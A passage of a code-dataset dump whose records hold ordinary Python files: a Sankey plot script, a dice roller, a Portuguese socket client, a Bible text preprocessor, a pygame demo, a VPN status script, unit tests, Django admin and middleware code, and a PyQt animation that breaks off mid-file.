range(len(df.index)):\n sources.append((count * 2) + i)\n targets.append(12)\n values.append(comments[i])\n\n for i in range(len(df.index)):\n sources.append((count * 2) + i)\n targets.append(13)\n values.append(blank[i])\n\n for i in range(len(df.index)):\n sources.append((count * 2) + i)\n targets.append(14)\n values.append(code[i])\n\n if normalise:\n # the last 12 values are those that are the comments and they are already normalised\n # when they are caculated\n for i in range(len(values)-12):\n if values[i] > 0:\n values[i] = math.log2(values[i])\n\n # the first 3 things are the errors and we want them to have different positions\n # therefore we set the x,y values of them and the rests use the arrangement 'snap'\n fig = go.Figure(data=[go.Sankey(\n arrangement=\"snap\",\n node=dict(\n pad=15,\n thickness=20,\n line=dict(color=\"black\", width=0.5),\n x=[0.5, 0.5, 0.5],\n y=[-0.5, -0.5, -0.5],\n label=labels,\n color=\"blue\"\n ),\n link=dict(\n source=sources,\n target=targets,\n value=values\n ))])\n\n fig.update_layout(title_text=\"Analysis of yaml continous integeration file formats\", font_size=10)\n fig.write_html(f'{name}.html', auto_open=True)\n return comments, code, blank, df.index\n # plotly.io.write_image(fig, f\"{name}.{encoding}\")\n\n\nif __name__ == \"__main__\":\n dataset = load_dataframe(\"yaml threaded9.csv\")\n # save_sanky_daigram_for_errors_and_comments(\"1\",dataset, True, True)\n # save_sanky_daigram_for_errors_and_comments(\"2\",dataset, False, True)\n # save_sanky_daigram_for_errors_and_comments(\"3\",dataset, True, False)\n comments, code, blank, configs = save_sanky_daigram_for_errors_and_comments(\"count\",dataset, False, False)\n","sub_path":"src/render_sankey_diagram.py","file_name":"render_sankey_diagram.py","file_ext":"py","file_size_in_byte":5072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"487687304","text":"\"\"\"\nDice Rolling Simulator: A program that simulates rolling dice\n\"\"\"\n# use a while loop to make the code continuosly run\n# use the random.randint functions to select a number between 1 and 6\n# print te selected number\n# ask if playing again: if yes, continue, if no quit\nimport random\n\ntry:\n minimum_value = int(input(\"Enter a mininum number: \"))\n maximum_value = int(input(\"Enter a maximum number: \"))\nexcept:\n print('Wrong input, default values would be used')\n minimum_value = 1\n maximum_value = 6\n\n\ndef dice_rolling():\n random_num = random.randint(minimum_value, maximum_value)\n\n print(random_num)\n\n\nplay_again = True\nwhile play_again:\n dice_rolling()\n input_ans = input('Do you want to play again? ')\n if input_ans == 'yes' or input_ans == 'y':\n play_again = True\n else:\n play_again = False\n","sub_path":"dice_rolling_simulator/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"242302409","text":"from acoes import *\nimport socket\nimport pickle\n\nclass objeto_comandos:\n def __init__(self):\n\n self.estrutura_comandos = {\n\n 'criar' : {\n 'nome': None, # NOME DO ARQUIVO\n 'conteudo': None, #CONTEUDO DO ARQUIVO\n 'repeticoes': None, #NÚMERO DE REPETICOES DO CONTEUDO NO ARQUIVO\n },\n\n 'copiar': {\n 'nome': None, #NOME DO ARQUIVO\n 'nome_copia': None, #NOME DA CÓPIA\n },\n\n 'excluir': {\n 'nome': None #NOME DO ARQUIVO A SER EXCLUÍDO\n },\n\n 'renomear': {\n 'nome': None, #NOME DO ARQUIVO\n 'novo_nome': None #NOVO NOME DO ARQUIVO APÓS SER RENOMEADO\n },\n 'escrever':{\n 'nome': None,\n 'conteudo': None,\n 'repeticoes':None\n },\n\n 'ler': {\n 'nome': None\n },\n\n 'listar': None, # Comando para listar os arquivos do servidor\n\n 'mostrar': None, #COMANDO PARA MOSTRAR OS ARQUIVOS EXISTENTES\n\n 'sair': None, #COMANDO PARA SAIR/DESCONECTAR\n\n 'help': None #COMANDO PARA EXIBIR LISTA DE COMANDOS\n\n }\n\n\n\ndef interface (porta)-> int:\n\n programa_esta_funcionando = True\n\n while programa_esta_funcionando:\n print(\"Entre um comando ou digite help>>\", end='') #Esse end='' é para não pular a linha\n input_do_usuario = input() #pega input do terminal\n\n resultado = parse(input_do_usuario)\n\n if not resultado[0]:\n print(resultado[1])\n continue\n\n if resultado[2] == 'help':\n f = open(\"help.txt\", \"r\", encoding='cp1258')\n if f.mode == 'r':\n contents = f.read()\n print (contents)\n f.close()\n continue\n\n if resultado[2] == 'sair':\n programa_esta_funcionando = False\n print(resultado[1])\n continue\n\n soquete = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n # endereco = ('localhost', porta)\n\n\n endereco = ('localhost', porta)\n\n soquete.connect(endereco)\n\n\n\n soquete.send( pickle.dumps(resultado) )\n t = threading.Thread(target=esperar_resposta, args=(soquete,))\n t.start()\n return 0\n\n\ndef parse(input_do_usuario: str)->list:\n #FUNÇÃO QUE RECEBE O INPUT DIGITADO PELO USUÁRIO E INTERPRETA ESSE INPUT\n\n #RETORNA UMA LISTA:\n #POSIÇÃO 0 => UM BOLEANO DIZENDO SE O INPUT FOI VÁLIDO OU NÃO\n #POSIÇÃO 1 = > UMA STRING COM MENSAGEM DE ERRO OU SUCESSO\n #POSIÇÃO 2 => O COMANDO DESEJADO\n #POSICAO 3 => DICIONÁRIO COM OS PARÂMETROS\n\n\n if len(input_do_usuario) == 0:\n return [False, '', None, None]\n\n ##################################################\n input_do_usuario = input_do_usuario.split('\"')\n\n for i in range(len(input_do_usuario)):\n input_do_usuario[i] = input_do_usuario[i].strip()\n\n nova_lista = []\n for i in range(len(input_do_usuario)):\n\n if len(input_do_usuario[i]) == 0:\n continue\n nova_lista.append(input_do_usuario[i])\n\n\n ################################################\n\n if nova_lista[0] == 'criar':\n if len(nova_lista) != 4:\n return [False, 'Parâmetros Inválidos para comando criar ', None, None]\n else:\n c = objeto_comandos()\n\n copia_comandos = c.estrutura_comandos\n copia_comandos['criar']['nome'] = nova_lista[1]\n copia_comandos['criar']['conteudo'] = nova_lista[2]\n copia_comandos['criar']['repeticoes'] = nova_lista[3]\n return [True, '', 'criar', copia_comandos]\n\n elif nova_lista[0] == 'copiar':\n\n if len(nova_lista) != 3:\n return [False,\"Parâmetros inválidos para comando copiar \", None, None ]\n\n else:\n c = objeto_comandos()\n\n copia_comandos = c.estrutura_comandos\n\n copia_comandos['copiar']['nome'] = nova_lista[1]\n copia_comandos['copiar']['nome_copia'] = nova_lista[2]\n return [True, '', 'copiar', copia_comandos]\n\n\n elif nova_lista[0] == 'excluir':\n if len(nova_lista) !=2:\n return [False, \"Parâmetros inválidos para comando excluir\", None, None]\n\n else:\n c = objeto_comandos()\n\n copia_comandos = c.estrutura_comandos\n copia_comandos['excluir']['nome'] = nova_lista[1]\n return [True,'' ,'excluir', copia_comandos]\n\n\n elif nova_lista[0] == 'renomear':\n\n if len(nova_lista)!=3:\n return [False, 'Parâmetros inválidos para comando renomear', None, None]\n else:\n c = objeto_comandos()\n\n copia_comandos = c.estrutura_comandos\n\n copia_comandos['renomear']['nome'] = nova_lista[1]\n copia_comandos['renomear']['novo_nome'] = nova_lista[2]\n\n return [True, '', 'renomear', copia_comandos]\n\n elif nova_lista[0] == 'escrever':\n\n if len(nova_lista)!=4:\n return [False, 'Parâmetros inválidos para comando escrever', None, None]\n else:\n c = objeto_comandos()\n\n copia_comandos = c.estrutura_comandos\n\n copia_comandos['escrever']['nome'] = nova_lista[1]\n copia_comandos['escrever']['conteudo'] = nova_lista[2]\n copia_comandos['escrever']['repeticoes'] = nova_lista[3]\n return [True, '', 'escrever', copia_comandos]\n\n elif nova_lista[0] == 'ler':\n if len(nova_lista) !=2:\n return [False, \"Parâmetros inválidos para o comando ler\", None, None]\n else:\n c = objeto_comandos()\n\n copia_comandos = c.estrutura_comandos\n\n copia_comandos['ler']['nome'] = nova_lista[1]\n return [True, '', 'ler', copia_comandos]\n\n elif nova_lista[0] == 'sair':\n return [True, 'bye bye', 'sair', None]\n\n elif nova_lista[0] == 'help':\n return [True, '', 'help', None]\n elif nova_lista[0] == 'listar':\n return [True, '', 'listar', None]\n else:\n return [False, 'Comando não reconhecido', None, None]\n\n\n\ndef esperar_resposta(soquete_cliente: socket.socket):\n resposta = soquete_cliente.recv(10000)\n resposta = pickle.loads(resposta)\n print(resposta)\n soquete_cliente.close()\n\n\n\n","sub_path":"cliente.py","file_name":"cliente.py","file_ext":"py","file_size_in_byte":6385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"390024315","text":"from bs4 import BeautifulSoup\nfrom nltk.tokenize import sent_tokenize\nimport requests\n\nfileName = '/Users/ml-cturan/Documents/Corpora/religious/guthenberg/preprocessed/kingjamesbible.txt'\nf = open(fileName)\ndata = f.readlines()\n#data = data[0:100]\n#print(data)\nsaveName = '/Users/ml-cturan/Documents/Corpora/religious/sentenceData/religious/bible.txt'\n\n\nsentListAll = []\nsentenceIns = []\ni = 0\nfor line in data:\n if line is '\\n':\n if len(sentenceIns) == 0:\n #sentenceIns = []\n continue\n else:\n sentenceIns = ' '.join(sentenceIns)\n sentenceIns = sentenceIns.strip()\n if sentenceIns.split()[0].split(':')[0].isdigit():\n #print(sentenceIns.split()[0].split(':')[1])\n lenDigit = len(sentenceIns.split()[0])\n sentenceIns = sentenceIns[lenDigit+1:]\n if len(sentenceIns.split(':')) > 1:\n lenSent = len(sentenceIns)\n start = 0\n while True:\n indices = sentenceIns.find(':',start,lenSent)\n if indices == -1:\n break\n else:\n if sentenceIns[indices-1].isdigit():\n sentenceInsNew = sentenceIns[0:indices-2] + sentenceIns[indices+3:]\n sentenceIns = sentenceInsNew\n else:\n start = indices + 1\n\n #print(sentenceIns)\n sentenceList = sent_tokenize(sentenceIns)\n for sent in sentenceList:\n if not (sent is ''):\n # print(repr(sentCheck))\n sentListAll.append(sent)\n # print(sent)\n i += 1\n sentenceIns = []\n continue\n line = line.replace('\\n', '')\n line = line.strip()\n sentenceIns.append(line)\n\nprint(i)\n#print(sentListAll)\n\nfS = open(saveName, 'w+')\nfS.writelines('\\n'.join(sentListAll))\nfS.close()","sub_path":"data/preprocessBible.py","file_name":"preprocessBible.py","file_ext":"py","file_size_in_byte":1900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"38345212","text":"\nfrom Variables import *\nfrom Fonctions import *\n\n\npygame.init()\n\n\npygame.display.set_caption(\"Main v1_6\")\nfenetre = pygame.display.set_mode(WINDOW_SIZE, RESIZABLE)\n\ntextSurface = FONT.render(LOREM_IPSUM, 1, BLACK)\ntextToggle = False\n\n# map.playMusic()\ncells = PKMN_CENTER_CELLS_V2\n\n\ntextboxToggle = False\ntextbox = Objet(\"Files/textbox_1.png\", TEXTBOX_POS)\n\nloop = 1\n\n# pour action quand touche enfoncée :\n# 1er arg : temps à attendre avant de lancer la répétition\n# 2e arg : temps entre chaque déplacement\npygame.key.set_repeat(50, 100)\n\nwhile loop:\n\n pygame.time.Clock().tick(30) # 30 FPS\n\n\n fenetre.blit(pkmn_center_2.fond, ORIGIN_POS) # pas blit dawn sur bg sinon superposition\n # /!\\ l'offset de la map\n\n # joelle.afficher()\n fenetre.blit(joelle.sprite, JOELLE_POS)\n\n if textboxToggle:\n fenetre.blit(textbox.sprite, textbox.pos)\n if textToggle:\n texteAfficher = formatText(LOREM_IPSUM)\n\n\n for i in range (len(texteAfficher)):\n for j in range(len(texteAfficher[i])):\n fenetre.blit((FONT.render(texteAfficher[i][j]+\" \", 1, BLACK)), (TEXT_POS[0]+sumSize(texteAfficher[i][0:j])[0]+j*5, TEXT_POS[1]+i*20))\n # fenetre.blit(textSurface, TEXT_POS)\n\n fenetre.blit(dawn.sprite, (dawn.pos[0]*16+PKMN_CENTER_OFFSET[0]-8,\n (dawn.pos[1]-1)*16+PKMN_CENTER_OFFSET[1])) # dernier blit = le + devant\n\n # dawn.afficher()\n\n pygame.display.flip()\n\n for event in pygame.event.get():\n if event.type == QUIT:\n loop = 0\n\n if event.type == KEYDOWN: # simplifier ?\n\n if event.key == K_DOWN:\n if dawn.direction != DOWN:\n dawn.turn(DOWN)\n elif dawn.canMoveDown(cells):\n dawn.move(DOWN)\n\n elif event.key == K_UP:\n if dawn.direction != UP:\n dawn.turn(UP)\n elif dawn.canMoveUp(cells):\n dawn.move(UP)\n\n elif event.key == K_LEFT:\n if dawn.direction != LEFT:\n dawn.turn(LEFT)\n elif dawn.canMoveLeft(cells):\n dawn.move(LEFT)\n\n elif event.key == K_RIGHT:\n if dawn.direction != RIGHT:\n dawn.turn(RIGHT)\n elif dawn.canMoveRight(cells): # out of range quand bord de la map = \"M\"\n dawn.move(RIGHT)\n\n elif event.key == K_KP0:\n\n # interact\n\n # textboxToggle = not textboxToggle\n dawn.canmove = False\n # dawn.canmove = not dawn.canmove\n # textToggle = not textToggle\n\n if not textboxToggle:\n textboxToggle = True\n textToggle = True\n","sub_path":"main_v1_6.py","file_name":"main_v1_6.py","file_ext":"py","file_size_in_byte":2812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"152562450","text":"#!/usr/bin/env python3\n\nfrom subprocess import check_output\n\nresult = check_output([\"ifconfig\"])\n\n# Check if a tun0 interface is active\nvpn_up = False\nip_addr = ''\nif 'tun0:' in str(result):\n # VPN is up\n vpn_up = True\n found_tun_iface = False\n for line in str(result).split('\\\\n'):\n if 'tun0' in line:\n found_tun_iface = True\n if found_tun_iface and line.strip().startswith('inet') and not ip_addr:\n ip_addr = line.split('netmask')[0].split('inet')[1].strip()\n\nif vpn_up:\n print('VPN Up: ' + ip_addr)\nelse:\n print('VPN Down')\n","sub_path":"config/polybar/custom_openvpn.py","file_name":"custom_openvpn.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"92666211","text":"########\n# Copyright (c) 2015 GigaSpaces Technologies Ltd. All rights reserved\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# * See the License for the specific language governing permissions and\n# * limitations under the License.\n\n\nimport itertools\nimport random\nimport testtools\n\nimport mock\n\nfrom cloudify_hostpool.hosts import scan\n\n\nclass SplitTests(testtools.TestCase):\n\n @classmethod\n def setUpClass(cls):\n super(SplitTests, cls).setUpClass()\n cls._patches = {\n 'fd_res_lim': mock.patch('resource.getrlimit',\n mock.MagicMock(return_value=(20, None))),\n 'o_fds': mock.patch(\n 'cloudify_hostpool.hosts.scan._open_file_descriptors',\n mock.MagicMock(return_value=2))\n }\n\n def setUp(self):\n super(SplitTests, self).setUp()\n for patch in self._patches.itervalues():\n patch.start()\n\n def tearDown(self):\n super(SplitTests, self).tearDown()\n for patch in self._patches.itervalues():\n patch.stop()\n\n def test_split_lengths(self):\n\n \"\"\"\n A normal use case.\n\n Checks whether length of individual chunks does not exceed\n resource limits.\n \"\"\"\n\n rng = int(self._patches['fd_res_lim'].new.return_value[0] * 5)\n lim = int(scan._file_descriptor_resource_limit() *\n scan._MAGIC_NUMBER_SPLIT_UPPER_THRESHOLD)\n for l in scan._split(range(rng)):\n self.assertLessEqual(len(l), lim)\n\n def test_empty_list(self):\n\n \"\"\"\n An edge case.\n\n Checks whether an empty list is correctly processed.\n \"\"\"\n\n l = list(scan._split([]))\n self.assertEqual(l, [])\n\n def test_single_element(self):\n\n \"\"\"\n An edge case.\n\n Checks whether a single element is correctly processed.\n \"\"\"\n\n l = list(scan._split(['value']))\n self.assertEqual(len(l), 1)\n self.assertEqual(l[0], ['value'])\n\n def test_limit_exceeded(self):\n\n \"\"\"\n A rare case\n\n Checks whether length of individual chunks is always 1\n after FD limit is exceeded.\n \"\"\"\n\n lim_u = int(scan._file_descriptor_resource_limit() *\n scan._MAGIC_NUMBER_SPLIT_UPPER_THRESHOLD)\n lim_l = int(scan._file_descriptor_resource_limit() *\n scan._MAGIC_NUMBER_SPLIT_LOWER_THRESHOLD)\n rng = int(self._patches['fd_res_lim'].new.return_value[0] * lim_l)\n o_fd_mock = self._patches['o_fds'].new\n self.assertLess(o_fd_mock.return_value, lim_l)\n for l in scan._split(range(rng)):\n if o_fd_mock.return_value < lim_l:\n self.assertTrue(1 < len(l) <= lim_u)\n o_fd_mock.return_value += 1\n else:\n self.assertEqual(len(l), 1)\n self.assertGreaterEqual(o_fd_mock.return_value, lim_l)\n\n\nclass FillEndpointsTests(testtools.TestCase):\n\n def test_no_fill(self):\n\n \"\"\"\n A normal use case.\n\n Check whether a fully filled list does not get overwritten.\n \"\"\"\n\n l1 = zip(xrange(10), itertools.repeat('a'))\n l2 = scan._fill_endpoints(l1, 'a')\n self.assertEqual(l1, l2)\n\n def test_all_fill(self):\n\n \"\"\"\n A normal use case\n\n Checks if a list without ports is properly filled.\n \"\"\"\n\n l1 = range(10)\n l2 = scan._fill_endpoints(l1, 'a')\n for e1, e2 in itertools.izip(l1, l2):\n self.assertEqual(e2, (e1, 'a'))\n\n def test_mixed(self):\n\n \"\"\"\n A normal use case\n\n Checks if only the desired parts of a list are filled.\n \"\"\"\n\n l1 = ['a', ('b1', 'b2')]\n for i in xrange(10):\n l1.append(random.choice([i, (i, i)]))\n l2 = scan._fill_endpoints(l1, 'c')\n for e1, e2 in itertools.izip(l1, l2):\n if isinstance(e1, tuple):\n self.assertEqual(e1, e2)\n else:\n self.assertEqual(e2, (e1, 'c'))\n\n def test_empty(self):\n\n \"\"\"\n An edge case\n\n Checks if an empty list stays empty.\n \"\"\"\n\n l = scan._fill_endpoints([], 'a')\n self.assertEqual(l, [])\n\n def test_single_element(self):\n\n \"\"\"\n An edge case\n\n Checks whether a list with a single element does not break\n the function.\n \"\"\"\n\n l = scan._fill_endpoints([1], 'a')\n self.assertEqual(l, [(1, 'a')])\n\n def test_single_tuple(self):\n\n \"\"\"\n An edge case\n\n Checks whether a single tuple does not change.\n \"\"\"\n\n l1 = [(1, 'a')]\n l2 = scan._fill_endpoints(l1, 'b')\n self.assertEqual(l1, l2)\n","sub_path":"cloudify_hostpool/tests/hosts/scan/test_internals.py","file_name":"test_internals.py","file_ext":"py","file_size_in_byte":5131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"131065633","text":"from django.contrib import admin\nfrom .forms import CallCampaignAdminForm\nfrom .models import Call, CallCampaign, CallProfile, CallResponse\n\n\nclass CallResponseInline(admin.StackedInline):\n model = CallResponse\n readonly_fields = ['date_created', 'date_modified']\n fields = readonly_fields + [\n 'question',\n 'answer',\n ]\n\n\n@admin.register(Call)\nclass CallAdmin(admin.ModelAdmin):\n inlines = [CallResponseInline]\n readonly_fields = [\n 'call_campaign',\n 'caller',\n 'contact',\n 'uuid',\n 'date_created',\n 'date_modified',\n ]\n\n\n@admin.register(CallCampaign)\nclass CallCampaignAdmin(admin.ModelAdmin):\n filter_horizontal = ['callers']\n form = CallCampaignAdminForm\n list_display = [\n 'id',\n 'title',\n 'local_group',\n 'state_or_territory',\n 'postal_code',\n 'max_recipients',\n 'status',\n 'get_list_status',\n 'get_list_size',\n 'date_created',\n ]\n list_display_links = list_display\n list_filter = ['status', 'state_or_territory']\n readonly_fields = [\n 'id',\n 'uuid',\n 'owner',\n 'local_group',\n 'contact_list',\n 'get_list_status',\n 'get_list_size',\n 'point',\n 'date_created',\n 'date_modified',\n ]\n fields = readonly_fields + [\n 'title',\n 'status',\n 'script',\n 'state_or_territory',\n 'postal_code',\n 'max_distance',\n 'max_recipients',\n 'callers',\n ]\n raw_id_fields = ['callers', 'contact_list']\n search_fields = [\n 'id',\n 'local_group__name',\n 'local_group__group_id',\n 'local_group__slug',\n 'postal_code',\n 'state_or_territory',\n 'title',\n ]\n\n def get_list_size(self, obj):\n contact_list = obj.contact_list\n if contact_list is not None:\n return contact_list.contacts.count()\n else:\n return None\n\n get_list_size.short_description = 'List Size'\n\n def get_list_status(self, obj):\n contact_list = obj.contact_list\n if contact_list is not None:\n return contact_list.get_status_display()\n else:\n return None\n\n get_list_status.short_description = 'List Status'\n\n\n@admin.register(CallProfile)\nclass CallProfileAdmin(admin.ModelAdmin):\n readonly_fields = ['user', 'date_created', 'date_modified']\n","sub_path":"calls/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"115969414","text":"#! python3\r\nimport os\r\n\r\ndef getFilesFromDirectory(dirname):\r\n filesList = []\r\n if os.path.isdir(dirname):\r\n for folder, subfolders, files in os.walk(dirname):\r\n for file in files:\r\n ''' Specify file filters '''\r\n if not file.startswith('.'):\r\n # if not file.startswith('.') and not file.endswith('.mp4'):\r\n filename = os.path.join(folder, file)[len(dirname) + 1:]\r\n filesList.append(filename)\r\n else:\r\n print(\"*** Warning: Directory '{}' does not exist. Aborting...\".format(dirname))\r\n return filesList\r\n\r\ndef main():\r\n testdir = 'G:/TestDir'\r\n fileslist = getFilesFromDirectory(testdir)\r\n for file in fileslist:\r\n print(file)\r\n \r\nif __name__ == \"__main__\": main()\r\n\r\n","sub_path":"PythonEssentials/FolderSync/utility/getFilesFromDirectory.py","file_name":"getFilesFromDirectory.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"22430438","text":"import json\n\nimport numpy as np\nimport pandas as pd\nfrom pandas.io.json import json_normalize\n\nfrom const import remove_cols, dtype, parse_dates\n\n\ndef load_data(filepath,\n nrows):\n \"\"\"\n データ読み込み用\n JSON関係の処理をうまいことやってくれるっぽい\n\n Parameters\n ----------\n filepath: Path object or string \n csvファイルのパス\n nrows : integer\n 読み込む行数\n\n Returns\n ----------\n df : pandas DataFrame\n 取得したデータフレーム\n\n References\n ----------\n https://www.kaggle.com/ashishpatel26/beginner-tutorial-google-analytics-crp-updated\n\n \"\"\"\n\n JSON_COLUMNS = ['device', 'geoNetwork', 'totals', 'trafficSource']\n\n df = pd.read_csv(filepath,\n converters={col: json.loads for col in JSON_COLUMNS},\n nrows=nrows,\n low_memory=False)\n\n for col in JSON_COLUMNS:\n col_as_df = json_normalize(df[col])\n col_as_df.columns = [f\"{col}.{subcol}\" for subcol in col_as_df.columns]\n df.drop(col, axis=1, inplace=True)\n df = df.merge(col_as_df, right_index=True, left_index=True)\n\n usecols = [col for col in df.columns if col not in remove_cols]\n df = df[usecols]\n df = df.astype(dtype)\n\n for col in parse_dates:\n df[col] = pd.to_datetime(df[col])\n\n return df\n","sub_path":"script/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":1390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"153649610","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: Ming JIN\n\"\"\"\n\nimport os\n\nimg_root = \"./cifar-10/\"\n\n# get file list in source dir\ndef get_file_list(src_dir):\n file_list = []\n for filename in os.listdir(src_dir):\n file_list.append(filename)\n # print(filename)\n return file_list\n\ndef get_label(imgs_dir):\n path_name = os.path.abspath(imgs_dir)\n sp = path_name.split('/')\n return sp[-1]\n\ndef gen_label_file(imgs_dir):\n rows = []\n file_list = get_file_list(imgs_dir)\n label = get_label(imgs_dir)\n for file in file_list:\n rows.append(file + ' ' + label + '\\n')\n return rows\n\ndef files_labels2txt():\n train_path = img_root + \"train/\"\n test_path = img_root + \"test/\"\n tmp_train = []\n tmp_test = []\n # gen train file list\n for i in range(10):\n train_dir = train_path + str(i) + '/'\n tmp_train = tmp_train + gen_label_file(train_dir)\n test_dir = test_path + str(i) + '/'\n tmp_test = tmp_test + gen_label_file(test_dir)\n open(train_path + 'train.txt', \"w\").writelines(tmp_train)\n open(test_path + 'test.txt', \"w\").writelines(tmp_test)\n\n\nif __name__ == \"__main__\":\n\n files_labels2txt()\n","sub_path":"genFileList.py","file_name":"genFileList.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"168872390","text":"\"\"\"站点后端请求数统计拦截器\n用于统计站点后端请求数,对性能有一定影响,\n该拦截器对应配置默认关闭\n\"\"\"\nfrom django.utils.timezone import now\nfrom blog.models import AccessLog\n\n\nclass StatisticsMiddleware:\n \"\"\"访问统计日志拦截器\"\"\"\n\n def __init__(self, get_response):\n self.get_response = get_response\n\n def __call__(self, request):\n if not request.path.startswith('/backend/install'):\n conf = request.session['conf']['conf_statistics']\n if conf == 'open':\n url = request.get_full_path()\n user_agent = request.META['HTTP_USER_AGENT']\n if len(url) > 255:\n url = url[0:255]\n if len(user_agent) > 255:\n user_agent = user_agent[0:255]\n log = AccessLog(url=url, user_agent=user_agent,\n access_time=now())\n log.save()\n response = self.get_response(request)\n return response\n else:\n response = self.get_response(request)\n return response\n","sub_path":"blog/statistics_middleware.py","file_name":"statistics_middleware.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"27340254","text":"#!/usr/bin/env python\n#-*- coding:utf-8 -*-\n\nfrom PyQt4 import QtCore, QtGui\n\nclass StateSwitchEvent(QtCore.QEvent):\n StateSwitchType = QtCore.QEvent.User + 256\n\n def __init__(self, rand=0):\n super(StateSwitchEvent, self).__init__(StateSwitchEvent.StateSwitchType)\n\n self.m_rand = rand\n\n def rand(self):\n return self.m_rand\n\nclass StateSwitchTransition(QtCore.QAbstractTransition):\n def __init__(self, rand):\n super(StateSwitchTransition, self).__init__()\n\n self.m_rand = rand\n\n def eventTest(self, event):\n return (event.type() == StateSwitchEvent.StateSwitchType and\n event.rand() == self.m_rand)\n\n def onTransition(self, event):\n pass\n\n\nclass StateSwitcher(QtCore.QState):\n def __init__(self, machine):\n super(StateSwitcher, self).__init__(machine)\n\n self.m_stateCount = 0\n self.m_lastIndex = 1\n\n def onEntry(self, event):\n self.m_lastIndex = 1 if self.m_lastIndex >= self.m_stateCount else self.m_lastIndex + 1\n self.machine().postEvent(StateSwitchEvent(self.m_lastIndex))\n\n def addState(self, state, animation):\n self.m_stateCount += 1\n\n trans = StateSwitchTransition(self.m_stateCount)\n trans.setTargetState(state)\n trans.addAnimation(animation)\n\n self.addTransition(trans)\n\n\ndef createGeometryState(w1, rect1, w2, rect2, w3, rect3, w4, rect4, w5, rect5, w6, rect6, parent):\n result = QtCore.QState(parent)\n\n result.assignProperty(w1, 'geometry', rect1)\n result.assignProperty(w1, 'geometry', rect1)\n result.assignProperty(w2, 'geometry', rect2)\n result.assignProperty(w3, 'geometry', rect3)\n result.assignProperty(w4, 'geometry', rect4)\n result.assignProperty(w5, 'geometry', rect5)\n result.assignProperty(w6, 'geometry', rect6)\n\n return result\n\n@QtCore.pyqtSlot()\ndef on_pushButtonStart_clicked():\n lastItem = None\n lowestY = None\n for item in scene.items():\n itemY = item.pos().y()\n if lastItem == None or itemY <= lowestY:\n lowestY = itemY\n lastItem = item\n\n for item in scene.items():\n if item != lastItem:\n lastItem.stackBefore(item)\n\n timer.start()\n\nif __name__ == '__main__':\n import sys\n\n app = QtGui.QApplication(sys.argv)\n\n button1 = QtGui.QPushButton()\n button1.setFixedSize(QtCore.QSize(50, 50))\n button1.setText(\"#1\")\n\n button2 = QtGui.QPushButton()\n button2.setFixedSize(QtCore.QSize(50, 50))\n button2.setText(\"#2\")\n\n button3 = QtGui.QPushButton()\n button3.setFixedSize(QtCore.QSize(50, 50))\n button3.setText(\"#3\")\n\n button4 = QtGui.QPushButton()\n button4.setFixedSize(QtCore.QSize(50, 50))\n button4.setText(\"#4\")\n\n button5 = QtGui.QPushButton()\n button5.setFixedSize(QtCore.QSize(50, 50))\n button5.setText(\"#5\")\n\n button6 = QtGui.QPushButton()\n button6.setFixedSize(QtCore.QSize(50, 50))\n button6.setText(\"#6\")\n\n scene = QtGui.QGraphicsScene(0, 0, 50, 300)\n scene.addWidget(button1)\n scene.addWidget(button2)\n scene.addWidget(button3)\n scene.addWidget(button4)\n scene.addWidget(button5)\n scene.addWidget(button6)\n\n timer = QtCore.QTimer()\n timer.setInterval(0)\n timer.setSingleShot(True)\n\n group = QtCore.QState()\n\n state1 = createGeometryState(\n button1, QtCore.QRect(0, 0, 50, 50),\n button2, QtCore.QRect(0, 50, 50, 50),\n button3, QtCore.QRect(0, 100, 50, 50),\n button4, QtCore.QRect(0, 150, 50, 50),\n button5, QtCore.QRect(0, 200, 50, 50),\n button6, QtCore.QRect(0, 250, 50, 50),\n group\n )\n\n state2 = createGeometryState(\n button2, QtCore.QRect(0, 0, 50, 50),\n button3, QtCore.QRect(0, 50, 50, 50),\n button4, QtCore.QRect(0, 100, 50, 50),\n button5, QtCore.QRect(0, 150, 50, 50),\n button6, QtCore.QRect(0, 200, 50, 50),\n button1, QtCore.QRect(0, 250, 50, 50),\n group\n )\n\n state3 = createGeometryState(\n button3, QtCore.QRect(0, 0, 50, 50),\n button4, QtCore.QRect(0, 50, 50, 50),\n button5, QtCore.QRect(0, 100, 50, 50),\n button6, QtCore.QRect(0, 150, 50, 50),\n button1, QtCore.QRect(0, 200, 50, 50),\n button2, QtCore.QRect(0, 250, 50, 50),\n group\n )\n\n state4 = createGeometryState(\n button4, QtCore.QRect(0, 0, 50, 50),\n button5, QtCore.QRect(0, 50, 50, 50),\n button6, QtCore.QRect(0, 100, 50, 50),\n button1, QtCore.QRect(0, 150, 50, 50),\n button2, QtCore.QRect(0, 200, 50, 50),\n button3, QtCore.QRect(0, 250, 50, 50),\n group\n )\n\n state5 = 